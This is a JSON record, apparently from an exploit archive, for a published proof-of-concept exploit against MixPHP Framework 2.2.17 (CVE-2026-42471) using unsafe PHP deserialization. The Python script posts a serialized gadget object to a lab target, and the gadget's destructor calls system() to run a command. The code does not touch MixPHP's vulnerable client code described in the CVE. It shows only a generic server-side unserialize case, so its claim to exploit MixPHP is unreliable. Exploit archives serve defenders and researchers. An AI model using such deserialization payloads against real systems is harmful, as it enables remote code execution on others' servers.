{"exploit":{"id":"EDB-52590","name":"MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution (RCE)","description":"MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution (RCE)","cves":["CVE-2026-42471"],"author":"cardosource","published":"2026-05-29","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52590","path":"exploits/php/webapps/52590.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52590.py","vulnerabilities":[{"id":"CVE-2026-42471","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The sync-invoke client (Connection.php:76) calls unserialize() on data received from the server response, enabling client-side RCE if connecting to a malicious server.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42471","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42471"},"updatedAt":"2026-05-01T18:23:59.344Z","retrievedAt":"2026-11-25T16:15:43.559Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52590.png?v=2","url":"https://exploitbin.com/exploits/EDB-52590","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52590/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52590/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution\n# Date: 2026-05-14\n# Exploit Author: cardosource\n# Vendor Homepage: https://github.com/mix-php/mix\n# Software Link: https://github.com/mix-php/mix\n# Version: 2.x through 2.2.17\n# Tested on: Ubuntu 26.04 LTS / PHP 8.3.6\n# CVE: CVE-2026-42471\n\"\"\"\nPHP applications that pass user-controlled input directly into\nunserialize() may be vulnerable to arbitrary code execution when\nattacker-controlled gadget chains are available.\n\nThe following proof of concept demonstrates exploitation through\na reachable __destruct() magic method.\n\nVulnerable Code\n===============\n\n$payload = $_POST[\"data\"] ?? \"\";\nunserialize($payload);\n\nGadget\n======\n\nclass A {\n    public $c = 'id>/tmp/p';\n\n    public function __destruct() {\n        system($this->c);\n    }\n}\n\nLab Setup\n=========\n\n\nphp -S 0.0.0.0:8000\n\npython3 php_deserialization_rce.py\n\n\"\"\"\n\nimport requests\n\ntarget = \"http://127.0.0.1:8000/index.php\"\n\npayload = 'O:1:\"A\":1:{s:1:\"c\";s:9:\"id>/tmp/p\";}'\n\nr = requests.post(target, data={\"data\": payload})\n\nprint(r.text)","sha256":"466ed6910d84814e6e724bc4bdb70caed9f3dc37eaf478c31c452dd7b2ca1cae","bytes":1090,"fetchedAt":"2026-11-26T08:59:22.537Z","encoding":"utf-8 (display only; download retains original bytes)"}